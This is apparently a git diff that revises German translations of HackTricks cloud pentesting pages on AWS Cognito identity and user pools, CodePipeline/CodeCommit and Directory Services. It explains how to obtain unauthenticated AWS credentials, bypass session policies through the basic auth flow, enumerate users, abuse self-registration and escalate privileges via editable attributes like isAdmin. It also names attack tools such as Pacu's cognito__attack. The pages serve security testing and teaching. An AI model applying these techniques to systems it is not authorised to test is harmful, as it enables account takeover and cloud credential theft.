Angreifer wissen muss, um **AWS-Anmeldeinformationen** in einer Cognito-App als unauthentifizierter Benutzer zu **erhalten**, ist die **Identity Pool ID**, und diese **ID muss im Web-/Mobilanwendung** fest codiert sein, damit sie verwendet werden kann. Eine ID sieht so aus: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (sie ist nicht bruteforcebar). > [!TIP] -> Die **IAM Cognito unautorisierte Rolle, die über erstellt wurde, heißt** standardmäßig `Cognito_Unauth_Role` +> Die **IAM Cognito unautorisierte Rolle, die erstellt wurde, heißt** standardmäßig `Cognito_Unauth_Role` -Wenn Sie eine Identity Pools ID finden, die fest codiert ist und unauthentifizierten Benutzern erlaubt, können Sie AWS-Anmeldeinformationen mit: +Wenn Sie eine Identity Pools ID finden, die fest codiert ist und unauthentifizierte Benutzer zulässt, können Sie AWS-Anmeldeinformationen mit: ```python import requests @@ -112,13 +112,13 @@ aws cognito-identity get-id --identity-pool-id --no-sign aws cognito-identity get-credentials-for-identity --identity-id --no-sign ``` > [!WARNING] -> Beachten Sie, dass ein nicht authentifizierter Cognito **Benutzer standardmäßig KEINE Berechtigungen haben KANN, selbst wenn diese über eine Richtlinie zugewiesen wurden**. Überprüfen Sie den folgenden Abschnitt. +> Beachten Sie, dass ein nicht authentifizierter cognito **Benutzer standardmäßig KEINE Berechtigungen hat, selbst wenn diese über eine Richtlinie zugewiesen wurden**. Überprüfen Sie den folgenden Abschnitt. ### Verbesserter vs. Basis-Authentifizierungsfluss -Der vorherige Abschnitt folgte dem **standardmäßigen verbesserten Authentifizierungsfluss**. Dieser Fluss setzt eine **einschränkende** [**Sitzungsrichtlinie**](../../aws-basic-information/#session-policies) für die generierte IAM-Rollen-Sitzung. Diese Richtlinie erlaubt es der Sitzung nur, [**die Dienste aus dieser Liste zu verwenden**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (auch wenn die Rolle Zugriff auf andere Dienste hatte). +Der vorherige Abschnitt folgte dem **standardmäßigen verbesserten Authentifizierungsfluss**. Dieser Fluss setzt eine **einschränkende** [**Sitzungsrichtlinie**](../../aws-basic-information/#session-policies) für die generierte IAM-Rollen-Sitzung. Diese Richtlinie erlaubt es der Sitzung nur, [**die Dienste aus dieser Liste zu nutzen**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (auch wenn die Rolle Zugriff auf andere Dienste hatte). -Es gibt jedoch eine Möglichkeit, dies zu umgehen. Wenn der **Identitätspool den "Basis (Klassischen) Fluss" aktiviert hat**, kann der Benutzer eine Sitzung mit diesem Fluss erhalten, die **keine einschränkende Sitzungsrichtlinie hat**. +Es gibt jedoch eine Möglichkeit, dies zu umgehen. Wenn der **Identitätspool den "Basis (Klassisch) Fluss" aktiviert hat**, kann der Benutzer eine Sitzung mit diesem Fluss erhalten, die **nicht über diese einschränkende Sitzungsrichtlinie verfügt**. ```bash # Get auth ID aws cognito-identity get-id --identity-pool-id --no-sign @@ -144,10 +144,10 @@ Wenn Sie über ein Set von IAM-Anmeldeinformationen verfügen, sollten Sie [übe Es könnten auch **Rollen** für **authentifizierte Benutzer, die auf den Identity Pool zugreifen**, verfügbar sein. -Dafür müssen Sie möglicherweise Zugriff auf den **Identitätsanbieter** haben. Wenn das ein **Cognito User Pool** ist, können Sie möglicherweise das Standardverhalten ausnutzen und **selbst einen neuen Benutzer erstellen**. +Dafür müssen Sie möglicherweise Zugriff auf den **Identitätsanbieter** haben. Wenn es sich um einen **Cognito User Pool** handelt, können Sie möglicherweise das Standardverhalten ausnutzen und **selbst einen neuen Benutzer erstellen**. > [!TIP] -> Die **IAM Cognito authentifizierte Rolle, die über erstellt wird**, heißt standardmäßig `Cognito_Auth_Role` +> Die **IAM Cognito authentifizierte Rolle, die erstellt wurde, heißt** standardmäßig `Cognito_Auth_Role` Jedenfalls erwartet das **folgende Beispiel**, dass Sie sich bereits in einem **Cognito User Pool** angemeldet haben, der verwendet wird, um auf den Identity Pool zuzugreifen (vergessen Sie nicht, dass auch andere Arten von Identitätsanbietern konfiguriert sein könnten). @@ -161,7 +161,7 @@ aws cognito-identity get-credentials-for-identity \ --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN> -# Im IdToken können Sie die Rollen finden, auf die ein Benutzer aufgrund von Benutzerpoolgruppen Zugriff hat +# Im IdToken finden Sie Rollen, auf die ein Benutzer aufgrund von Benutzerpoolgruppen Zugriff hat # Verwenden Sie die --custom-role-arn, um Anmeldeinformationen für eine bestimmte Rolle zu erhalten aws cognito-identity get-credentials-for-identity \ --identity-id <identity_id> \ @@ -170,6 +170,6 @@ aws cognito-identity get-credentials-for-identity \
> [!WARNING] -> Es ist möglich, **verschiedene IAM-Rollen je nach Identitätsanbieter** zu konfigurieren, bei dem der Benutzer angemeldet ist, oder sogar nur abhängig **vom Benutzer** (unter Verwendung von Ansprüchen). Daher könnte es **lohnenswert sein, sich anzumelden und auf die IAM-Rollen aller von ihnen zuzugreifen**. +> Es ist möglich, **verschiedene IAM-Rollen je nach Identitätsanbieter** zu konfigurieren, bei dem der Benutzer angemeldet ist, oder sogar nur abhängig **vom Benutzer** (unter Verwendung von Ansprüchen). Daher könnte es **lohnenswert sein, sich anzumelden und auf die IAM-Rollen von allen zuzugreifen**. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md index 560b2035e..b189ce0db 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md @@ -1,4 +1,4 @@ -# Cognito User Pools +# Cognito Benutzerpools {{#include ../../../../banners/hacktricks-training.md}} @@ -11,16 +11,16 @@ Benutzerpools bieten: - Anmelde- und Registrierungsdienste. - Eine integrierte, anpassbare Web-Benutzeroberfläche, um Benutzer anzumelden. - Soziale Anmeldungen mit Facebook, Google, Login mit Amazon und Anmelden mit Apple sowie über SAML- und OIDC-Identitätsanbieter aus Ihrem Benutzerpool. -- Verwaltung des Benutzerdirectorys und Benutzerprofile. +- Benutzerverzeichnisverwaltung und Benutzerprofile. - Sicherheitsfunktionen wie Multi-Faktor-Authentifizierung (MFA), Überprüfungen auf kompromittierte Anmeldeinformationen, Schutz vor Kontoübernahme sowie Telefon- und E-Mail-Verifizierung. - Angepasste Workflows und Benutzermigration durch AWS Lambda-Trigger. -**Quellcode** von Anwendungen enthält normalerweise auch die **Benutzerpool-ID** und die **Client-Anwendungs-ID** (und manchmal das **Anwendungsgeheimnis**?), die benötigt werden, damit sich ein **Benutzer** in einen Cognito-Benutzerpool **einloggen** kann. +**Quellcode** von Anwendungen enthält normalerweise auch die **Benutzerpool-ID** und die **Client-Anwendungs-ID** (und manchmal das **Anwendungsgeheimnis**?), die benötigt werden, damit sich ein **Benutzer** in einen Cognito Benutzerpool **einloggen** kann. ### Potenzielle Angriffe - **Registrierung**: Standardmäßig kann sich ein Benutzer selbst registrieren, sodass er einen Benutzer für sich selbst erstellen könnte. -- **Benutzerenumeration**: Die Registrierungsfunktionalität kann verwendet werden, um Benutzernamen zu finden, die bereits existieren. Diese Informationen können für den Brute-Force-Angriff nützlich sein. +- **Benutzerenumeration**: Die Registrierungsfunktionalität kann verwendet werden, um Benutzernamen zu finden, die bereits existieren. Diese Informationen können nützlich für den Brute-Force-Angriff sein. - **Login-Brute-Force**: Im Abschnitt [**Authentifizierung**](cognito-user-pools.md#authentication) finden Sie alle **Methoden**, die ein Benutzer hat, um sich **einzuloggen**. Sie könnten versuchen, diese **gültigen Anmeldeinformationen** zu brute-forcen. ### Tools für Pentesting @@ -36,7 +36,7 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) ist ein CLI-Tool in Python, das verschiedene Angriffe auf Cognito implementiert, einschließlich unerwünschter Kontoerstellung und Konto-Orakel. Weitere Informationen finden Sie [unter diesem Link](https://github.com/padok-team/cognito-scanner). +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) ist ein CLI-Tool in Python, das verschiedene Angriffe auf Cognito implementiert, einschließlich unerwünschter Kontoerstellung und Konto-Orakel. Weitere Informationen finden Sie unter [diesem Link](https://github.com/padok-team/cognito-scanner). ```bash # Install pip install cognito-scanner @@ -57,7 +57,7 @@ aws cognito-idp sign-up --client-id \ ``` #### Wenn sich jeder registrieren kann -Möglicherweise finden Sie einen Fehler, der Ihnen anzeigt, dass Sie **mehr Details** über den Benutzer bereitstellen müssen: +Sie könnten einen Fehler finden, der Ihnen anzeigt, dass Sie **mehr Details** über den Benutzer bereitstellen müssen: ``` An error occurred (InvalidParameterException) when calling the SignUp operation: Attributes did not conform to the schema: address: The attribute is required ``` @@ -65,34 +65,34 @@ Sie können die benötigten Details mit einem JSON wie folgt bereitstellen: ```json --user-attributes '[{"Name": "email", "Value": "carlospolop@gmail.com"}, {"Name":"gender", "Value": "M"}, {"Name": "address", "Value": "street"}, {"Name": "custom:custom_name", "Value":"supername&\"*$"}]' ``` -Sie könnten diese Funktionalität auch verwenden, um **bestehende Benutzer aufzulisten.** Dies ist die Fehlermeldung, wenn ein Benutzer mit diesem Namen bereits existiert: +Sie könnten diese Funktionalität auch nutzen, um **bestehende Benutzer aufzulisten.** Dies ist die Fehlermeldung, wenn ein Benutzer mit diesem Namen bereits existiert: ``` An error occurred (UsernameExistsException) when calling the SignUp operation: User already exists ``` > [!NOTE] > Beachten Sie im vorherigen Befehl, wie die **benutzerdefinierten Attribute mit "custom:" beginnen**.\ -> Wissen Sie auch, dass Sie bei der Registrierung **keine neuen benutzerdefinierten Attribute für den Benutzer erstellen können**. Sie können nur Werte für **Standardattribute** (auch wenn sie nicht erforderlich sind) und **angegebene benutzerdefinierte Attribute** angeben. +> Beachten Sie auch, dass Sie bei der Registrierung **keine neuen benutzerdefinierten Attribute für den Benutzer erstellen können**. Sie können nur Werte für **Standardattribute** (auch wenn sie nicht erforderlich sind) und **angegebene benutzerdefinierte Attribute** zuweisen. Oder um einfach zu testen, ob eine Client-ID existiert. Dies ist der Fehler, wenn die Client-ID nicht existiert: ``` An error occurred (ResourceNotFoundException) when calling the SignUp operation: User pool client 3ig612gjm56p1ljls1prq2miut does not exist. ``` -#### Wenn nur der Administrator Benutzer registrieren kann +#### Wenn nur Admins Benutzer registrieren können -Sie werden diesen Fehler finden und Sie werden nicht in der Lage sein, Benutzer zu registrieren oder aufzulisten: +Sie werden diesen Fehler finden und Sie werden nicht in der Lage sein, Benutzer zu registrieren oder zu enumerieren: ``` An error occurred (NotAuthorizedException) when calling the SignUp operation: SignUp is not permitted for this user pool ``` ### Verifying Registration -Cognito allows to **verify a new user by verifying his email or phone number**. Therefore, when creating a user usually you will be required at least the username and password and the **E-Mail und/oder Telefonnummer**. Just set one **die Sie kontrollieren** so you will receive the code to **verifizieren Sie Ihr** newly created user **Konto** like this: +Cognito ermöglicht es, **einen neuen Benutzer zu verifizieren, indem seine E-Mail oder Telefonnummer verifiziert wird**. Daher werden Sie beim Erstellen eines Benutzers normalerweise mindestens den Benutzernamen und das Passwort sowie die **E-Mail und/oder Telefonnummer** benötigen. Setzen Sie einfach eine **die Sie kontrollieren**, damit Sie den Code zur **Verifizierung Ihres** neu erstellten Benutzer **kontos** erhalten, wie folgt: ```bash aws cognito-idp confirm-sign-up --client-id \ --username aasdasd2 --confirmation-code \ --no-sign-request --region us-east-1 ``` > [!WARNING] -> Auch wenn **es so aussieht, als könnte man dieselbe E-Mail** und Telefonnummer verwenden, wird Cognito bei der Verifizierung des erstellten Benutzers sich darüber beschweren, dass dieselben Informationen verwendet werden, und **wird die Verifizierung des Kontos nicht zulassen**. +> Auch wenn **es so aussieht, als könnte man dieselbe E-Mail** und Telefonnummer verwenden, wird Cognito bei der Verifizierung des erstellten Benutzers sich über die Verwendung derselben Informationen beschweren und **wird die Verifizierung des Kontos nicht zulassen**. ### Privilegieneskalation / Aktualisierung von Attributen @@ -108,17 +108,17 @@ aws cognito-idp update-user-attributes \ > [!CAUTION] > Sie könnten **benutzerdefinierte Attribute** finden (wie `isAdmin`), da Sie standardmäßig **die Werte Ihrer eigenen Attribute ändern** können, könnten Sie in der Lage sein, **Privilegien zu eskalieren**, indem Sie den Wert selbst ändern! -#### E-Mail/Benutzername-Modifikation-Privesc +#### E-Mail/Benutzername-Modifikation Privesc -Sie können dies verwenden, um die **E-Mail und Telefonnummer** eines Benutzers zu **ändern**, aber selbst wenn das Konto als verifiziert bleibt, sind diese Attribute **im unverifizierten Status gesetzt** (Sie müssen sie erneut verifizieren). +Sie können dies verwenden, um die **E-Mail und Telefonnummer** eines Benutzers zu **ändern**, aber selbst wenn das Konto als verifiziert bleibt, sind diese Attribute **im Status "unverifiziert" gesetzt** (Sie müssen sie erneut verifizieren). > [!WARNING] > Sie **werden sich nicht mit E-Mail oder Telefonnummer anmelden können**, bis Sie sie verifizieren, aber Sie werden sich **mit dem Benutzernamen anmelden können**.\ -> Beachten Sie, dass selbst wenn die E-Mail geändert und nicht verifiziert wurde, sie im ID-Token im **`email`** **Feld** erscheinen wird und das Feld **`email_verified`** **falsch** sein wird, aber wenn die App **nicht überprüft**, könnten Sie **andere Benutzer impersonieren**. +> Beachten Sie, dass selbst wenn die E-Mail geändert und nicht verifiziert wurde, sie im ID-Token im **`email`** **Feld** erscheinen wird und das Feld **`email_verified`** **falsch** sein wird, aber wenn die App **nicht überprüft, könnten Sie andere Benutzer impersonieren**. -> Darüber hinaus beachten Sie, dass Sie alles in das **`name`** Feld einfügen können, indem Sie das **name-Attribut** ändern. Wenn eine App aus irgendeinem Grund **dieses** Feld **anstatt des `email`** (oder eines anderen Attributs) überprüft, könnten Sie in der Lage sein, **andere Benutzer zu impersonieren**. +> Darüber hinaus beachten Sie, dass Sie alles im **`name`** Feld einfügen können, indem Sie das **name-Attribut** ändern. Wenn eine App aus irgendeinem Grund **dieses** Feld **anstatt des `email`** (oder eines anderen Attributs) überprüft, könnten Sie in der Lage sein, **andere Benutzer zu impersonieren**. -Wie auch immer, wenn Sie aus irgendeinem Grund Ihre E-Mail beispielsweise auf eine neue, auf die Sie zugreifen können, geändert haben, können Sie **die E-Mail mit dem Code bestätigen, den Sie an diese E-Mail-Adresse erhalten haben**: +Wenn Sie aus irgendeinem Grund Ihre E-Mail beispielsweise auf eine neue, auf die Sie zugreifen können, geändert haben, können Sie **die E-Mail mit dem Code bestätigen, den Sie an diese E-Mail-Adresse erhalten haben**: ```bash aws cognito-idp verify-user-attribute \ --access-token \ @@ -128,11 +128,11 @@ aws cognito-idp verify-user-attribute \ Verwenden Sie **`phone_number`** anstelle von **`email`**, um eine **neue Telefonnummer** zu ändern/zu verifizieren. > [!NOTE] -> Der Administrator könnte auch die Option aktivieren, sich mit einem **benutzerspezifischen Benutzernamen** anzumelden. Beachten Sie, dass Sie diesen Wert nicht in **irgendeinen Benutzernamen oder bevorzugten Benutzernamen, der bereits verwendet wird**, ändern können, um einen anderen Benutzer zu impersonieren. +> Der Administrator könnte auch die Option aktivieren, sich mit einem bevorzugten Benutzernamen anzumelden. Beachten Sie, dass Sie diesen Wert nicht auf **irgendeinen Benutzernamen oder bevorzugten Benutzernamen, der bereits verwendet wird**, ändern können, um einen anderen Benutzer zu impersonieren. ### Passwort wiederherstellen/ändern -Es ist möglich, ein Passwort nur **mit dem Benutzernamen** (oder E-Mail oder Telefon wird akzeptiert) wiederherzustellen, und der Zugriff darauf ist erforderlich, da ein Code dorthin gesendet wird: +Es ist möglich, ein Passwort nur durch **Kenntnis des Benutzernamens** (oder E-Mail oder Telefon wird akzeptiert) wiederherzustellen, und der Zugriff darauf ist erforderlich, da ein Code dorthin gesendet wird: ```bash aws cognito-idp forgot-password \ --client-id \ @@ -159,32 +159,32 @@ aws cognito-idp change-password \ ## Authentifizierung Ein Benutzerpool unterstützt **verschiedene Möglichkeiten zur Authentifizierung**. Wenn Sie einen **Benutzernamen und ein Passwort** haben, werden auch **verschiedene Methoden** zum Anmelden unterstützt.\ -Darüber hinaus werden, wenn ein Benutzer im Pool **3 Arten von Tokens vergeben**: Das **ID-Token**, das **Zugriffstoken** und das **Aktualisierungstoken**. +Darüber hinaus werden, wenn ein Benutzer im Pool **3 Arten von Tokens vergeben**: Das **ID-Token**, das **Access-Token** und das **Refresh-Token**. -- [**ID-Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): Es enthält Ansprüche über die **Identität des authentifizierten Benutzers**, wie `name`, `email` und `phone_number`. Das ID-Token kann auch verwendet werden, um **Benutzer zu Ihren Ressourcenservern oder Serveranwendungen zu authentifizieren**. Sie müssen die **Signatur** des ID-Tokens **überprüfen**, bevor Sie irgendwelche Ansprüche im ID-Token vertrauen können, wenn Sie es in externen Anwendungen verwenden. +- [**ID-Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): Es enthält Ansprüche über die **Identität des authentifizierten Benutzers**, wie `name`, `email` und `phone_number`. Das ID-Token kann auch verwendet werden, um **Benutzer bei Ihren Ressourcenservern oder Serveranwendungen zu authentifizieren**. Sie müssen die **Signatur** des ID-Tokens **überprüfen**, bevor Sie irgendwelche Ansprüche im ID-Token vertrauen können, wenn Sie es in externen Anwendungen verwenden. - Das ID-Token ist das Token, das **die Attributwerte des Benutzers enthält**, sogar die benutzerdefinierten. -- [**Zugriffstoken**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): Es enthält Ansprüche über den authentifizierten Benutzer, eine Liste der **Benutzergruppen** und eine Liste von Scopes. Der Zweck des Zugriffstokens ist es, **API-Operationen** im Kontext des Benutzers im Benutzerpool zu **autorisieren**. Zum Beispiel können Sie das Zugriffstoken verwenden, um **Ihrem Benutzer Zugriff** zu gewähren, um Benutzerattribute hinzuzufügen, zu ändern oder zu löschen. -- [**Aktualisierungstoken**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): Mit Aktualisierungstokens können Sie **neue ID-Tokens und Zugriffstokens** für den Benutzer erhalten, bis das **Aktualisierungstoken ungültig** ist. Standardmäßig **läuft das Aktualisierungstoken 30 Tage nach** der Anmeldung Ihres Anwendungsbenutzers in Ihrem Benutzerpool ab. Wenn Sie eine Anwendung für Ihren Benutzerpool erstellen, können Sie die Ablaufzeit des Aktualisierungstokens der Anwendung auf **einen Wert zwischen 60 Minuten und 10 Jahren** festlegen. +- [**Access-Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): Es enthält Ansprüche über den authentifizierten Benutzer, eine Liste der **Benutzergruppen** und eine Liste der Scopes. Der Zweck des Access-Tokens besteht darin, **API-Operationen** im Kontext des Benutzers im Benutzerpool zu **autorisieren**. Zum Beispiel können Sie das Access-Token verwenden, um **Ihrem Benutzer Zugriff** zu gewähren, um Benutzerattribute hinzuzufügen, zu ändern oder zu löschen. +- [**Refresh-Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): Mit Refresh-Tokens können Sie **neue ID-Tokens und Access-Tokens** für den Benutzer erhalten, bis das **Refresh-Token ungültig ist**. Standardmäßig **läuft das Refresh-Token 30 Tage nach** der Anmeldung Ihres Anwendungsbenutzers in Ihrem Benutzerpool ab. Wenn Sie eine Anwendung für Ihren Benutzerpool erstellen, können Sie die Ablaufzeit des Refresh-Tokens der Anwendung auf **einen Wert zwischen 60 Minuten und 10 Jahren** festlegen. ### ADMIN_NO_SRP_AUTH & ADMIN_USER_PASSWORD_AUTH Dies ist der Authentifizierungsfluss auf der Serverseite: -- Die serverseitige Anwendung ruft die **`AdminInitiateAuth` API-Operation** auf (anstatt `InitiateAuth`). Diese Operation erfordert AWS-Anmeldeinformationen mit Berechtigungen, die **`cognito-idp:AdminInitiateAuth`** und **`cognito-idp:AdminRespondToAuthChallenge`** umfassen. Die Operation gibt die erforderlichen Authentifizierungsparameter zurück. -- Nachdem die serverseitige Anwendung die **Authentifizierungsparameter** hat, ruft sie die **`AdminRespondToAuthChallenge` API-Operation** auf. Die `AdminRespondToAuthChallenge` API-Operation ist nur erfolgreich, wenn Sie AWS-Anmeldeinformationen bereitstellen. +- Die serverseitige App ruft die **`AdminInitiateAuth` API-Operation** auf (anstatt `InitiateAuth`). Diese Operation erfordert AWS-Anmeldeinformationen mit Berechtigungen, die **`cognito-idp:AdminInitiateAuth`** und **`cognito-idp:AdminRespondToAuthChallenge`** umfassen. Die Operation gibt die erforderlichen Authentifizierungsparameter zurück. +- Nachdem die serverseitige App die **Authentifizierungsparameter** hat, ruft sie die **`AdminRespondToAuthChallenge` API-Operation** auf. Die `AdminRespondToAuthChallenge` API-Operation ist nur erfolgreich, wenn Sie AWS-Anmeldeinformationen bereitstellen. Diese **Methode ist standardmäßig NICHT aktiviert**. -Um sich **anzumelden**, müssen Sie wissen: +Um sich **anzumelden**, müssen Sie Folgendes wissen: - Benutzerpool-ID - Client-ID - Benutzername - Passwort -- Client-Geheimnis (nur wenn die Anwendung so konfiguriert ist, dass sie ein Geheimnis verwendet) +- Client-Geheimnis (nur wenn die App so konfiguriert ist, dass sie ein Geheimnis verwendet) -> [!NOTE] -> Um mit dieser Methode **einloggen zu können**, muss die Anwendung die Anmeldung mit `ALLOW_ADMIN_USER_PASSWORD_AUTH` erlauben.\ +> [!HINWEIS] +> Um sich mit dieser Methode **anmelden zu können**, muss die Anwendung die Anmeldung mit `ALLOW_ADMIN_USER_PASSWORD_AUTH` erlauben.\ > Darüber hinaus benötigen Sie zur Durchführung dieser Aktion Anmeldeinformationen mit den Berechtigungen **`cognito-idp:AdminInitiateAuth`** und **`cognito-idp:AdminRespondToAuthChallenge`**. ```python aws cognito-idp admin-initiate-auth \ @@ -313,17 +313,17 @@ print(login_user(username, password, client_id, client_secret, user_pool_id)) Dieses Szenario ist ähnlich wie das vorherige, aber **anstatt das Passwort** über das Netzwerk zu senden, wird eine **Herausforderungsauthentifizierung durchgeführt** (also kein Passwort, das selbst verschlüsselt durch das Netz navigiert).\ Diese **Methode ist standardmäßig aktiviert**. -Um sich **anzumelden**, müssen Sie wissen: +Um sich **einzuloggen**, müssen Sie wissen: - Benutzerpool-ID - Client-ID - Benutzername - Passwort -- Client-Geheimnis (nur wenn die App so konfiguriert ist, dass sie ein Geheimnis verwendet) +- Client-Geheimnis (nur wenn die App so konfiguriert ist, dass ein Geheimnis verwendet wird)
-Code zur Anmeldung +Code zum Einloggen ```python from warrant.aws_srp import AWSSRP import os @@ -404,9 +404,9 @@ Wenn sich der Benutzer von demselben Gerät anmeldet, könnte die MFA umgangen w ## Benutzerpool-Gruppen IAM-Rollen Es ist möglich, **Benutzer zu Benutzerpool**-Gruppen hinzuzufügen, die mit einer **IAM-Rolle** verbunden sind.\ -Darüber hinaus können **Benutzer** mehreren Gruppen mit unterschiedlichen angehängten IAM-Rollen zugewiesen werden. +Darüber hinaus können **Benutzer** **mehr als 1 Gruppe mit unterschiedlichen IAM-Rollen** zugewiesen werden. -Beachten Sie, dass selbst wenn eine Gruppe innerhalb einer Gruppe mit einer angehängten IAM-Rolle ist, es erforderlich ist, dass der **Benutzerpool von einem Identitätspool vertraut wird** (und die Details dieses Identitätspools bekannt sind), um auf die IAM-Anmeldeinformationen dieser Gruppe zugreifen zu können. +Beachten Sie, dass selbst wenn eine Gruppe innerhalb einer Gruppe mit einer angehängten IAM-Rolle ist, es erforderlich ist, dass der **Benutzerpool von einem Identitätspool vertraut wird**, um auf die IAM-Anmeldeinformationen dieser Gruppe zugreifen zu können (und die Details dieses Identitätspools zu kennen). Ein weiteres Erfordernis, um die **IAM-Rolle, die im IdToken angegeben ist**, zu erhalten, wenn ein Benutzer im Benutzerpool authentifiziert wird (`aws cognito-idp initiate-auth...`), ist, dass der **Identitätsanbieter** angeben muss, dass die **Rolle aus dem Token ausgewählt werden muss.** @@ -418,7 +418,7 @@ Wenn jedoch die **Standardoption** die **konfigurierte** ist (`use default role` An error occurred (InvalidParameterException) when calling the GetCredentialsForIdentity operation: Only SAML providers and providers with RoleMappings support custom role ARN. ``` > [!WARNING] -> Beachten Sie, dass die Rolle, die einer **User Pool Group** zugewiesen ist, **vom Identity Provider zugänglich sein muss**, der **dem User Pool vertraut** (da die IAM-Rolle **Sitzungscodes von ihm abgerufen werden**). +> Beachten Sie, dass die Rolle, die einer **User Pool Group** zugewiesen ist, **vom Identity Provider zugänglich sein muss**, der **dem User Pool vertraut** (da die IAM-Rolle **Sitzungsanmeldeinformationen von ihm abgerufen werden**). ```json { "Version": "2012-10-17", diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md index 019bed94c..14cca4b72 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -7,7 +7,7 @@ AWS Data Pipeline ist darauf ausgelegt, den **Zugriff, die Transformation und den effizienten Transfer** von Daten in großem Maßstab zu erleichtern. Es ermöglicht die folgenden Operationen: 1. **Zugriff auf Ihre Daten, wo sie gespeichert sind**: Daten, die in verschiedenen AWS-Diensten gespeichert sind, können nahtlos abgerufen werden. -2. **Transformation und Verarbeitung in großem Maßstab**: Großangelegte Datenverarbeitungs- und Transformationsaufgaben werden effizient bearbeitet. +2. **Transformation und Verarbeitung in großem Maßstab**: Großangelegte Datenverarbeitungs- und Transformationsaufgaben werden effizient durchgeführt. 3. **Effizienter Transfer von Ergebnissen**: Die verarbeiteten Daten können effizient an mehrere AWS-Dienste übertragen werden, einschließlich: - Amazon S3 - Amazon RDS @@ -46,7 +46,7 @@ aws codepipeline get-pipeline-state --name ``` ### Privesc -In der folgenden Seite können Sie überprüfen, wie man **Codepipeline-Berechtigungen missbraucht, um Privilegien zu eskalieren**: +Auf der folgenden Seite können Sie überprüfen, wie man **CodePipeline-Berechtigungen missbraucht, um Privilegien zu eskalieren**: {{#ref}} ../aws-privilege-escalation/aws-codepipeline-privesc.md @@ -56,7 +56,7 @@ In der folgenden Seite können Sie überprüfen, wie man **Codepipeline-Berechti Es ist ein **Versionskontrolldienst**, der von Amazon gehostet und vollständig verwaltet wird, und der verwendet werden kann, um Daten (Dokumente, Binärdateien, Quellcode) privat zu speichern und sie in der Cloud zu verwalten. -Es **eliminiert** die Anforderung, dass der Benutzer Git kennen und **sein eigenes Versionskontrollsystem verwalten** oder sich um das Hoch- oder Herunterskalieren seiner Infrastruktur kümmern muss. Codecommit unterstützt alle standardmäßigen **Funktionen, die in Git zu finden sind**, was bedeutet, dass es mühelos mit den aktuellen Git-basierten Tools des Benutzers funktioniert. +Es **eliminiert** die Anforderung, dass der Benutzer Git kennen und **sein eigenes Versionskontrollsystem verwalten** oder sich um das Hoch- oder Herunterskalieren seiner Infrastruktur kümmern muss. CodeCommit unterstützt alle standardmäßigen **Funktionen, die in Git zu finden sind**, was bedeutet, dass es mühelos mit den aktuellen Git-basierten Tools des Benutzers funktioniert. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md index e544bfcf1..16ce44fdf 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md @@ -14,9 +14,9 @@ Verzeichnisdienste ermöglichen die Erstellung von 5 Arten von Verzeichnissen: - **Simple AD**: Das wird ein **Linux-Samba** Active Directory-kompatibler Server sein. Sie können das Admin-Passwort festlegen und auf die DCs in einem VPC zugreifen. - **AD Connector**: Ein Proxy zum **Umleiten von Verzeichnisanfragen an Ihr vorhandenes Microsoft Active Directory**, ohne Informationen in der Cloud zu cachen. Es wird in einem **VPC** lauschen und Sie müssen **Anmeldeinformationen für den Zugriff auf das vorhandene AD** bereitstellen. - **Amazon Cognito User Pools**: Das ist dasselbe wie Cognito User Pools. -- **Cloud Directory**: Das ist das **einfachste**. Ein **serverloses** Verzeichnis, in dem Sie das **Schema** angeben, das verwendet werden soll, und **nach Nutzung abgerechnet** werden. +- **Cloud Directory**: Das ist das **einfachste**. Ein **serverloses** Verzeichnis, in dem Sie das **Schema** angeben, das verwendet werden soll, und **nach Nutzung abgerechnet werden**. -AWS Directory-Dienste ermöglichen es, mit Ihrem vorhandenen **lokalen** Microsoft AD zu **synchronisieren**, **Ihr eigenes in AWS auszuführen** oder mit **anderen Verzeichnisarten** zu synchronisieren. +AWS-Verzeichnisdienste ermöglichen es, mit Ihrem vorhandenen **lokalen** Microsoft AD zu **synchronisieren**, **Ihr eigenes** in AWS auszuführen oder mit **anderen Verzeichnisarten** zu synchronisieren. ### Labor @@ -35,9 +35,9 @@ aws ds get-directory-limits aws ds list-certificates --directory-id aws ds describe-certificate --directory-id --certificate-id ``` -### Login +### Anmeldung -Beachten Sie, dass wenn die **Beschreibung** des Verzeichnisses eine **Domain** im Feld **`AccessUrl`** enthielt, es wahrscheinlich ist, dass ein 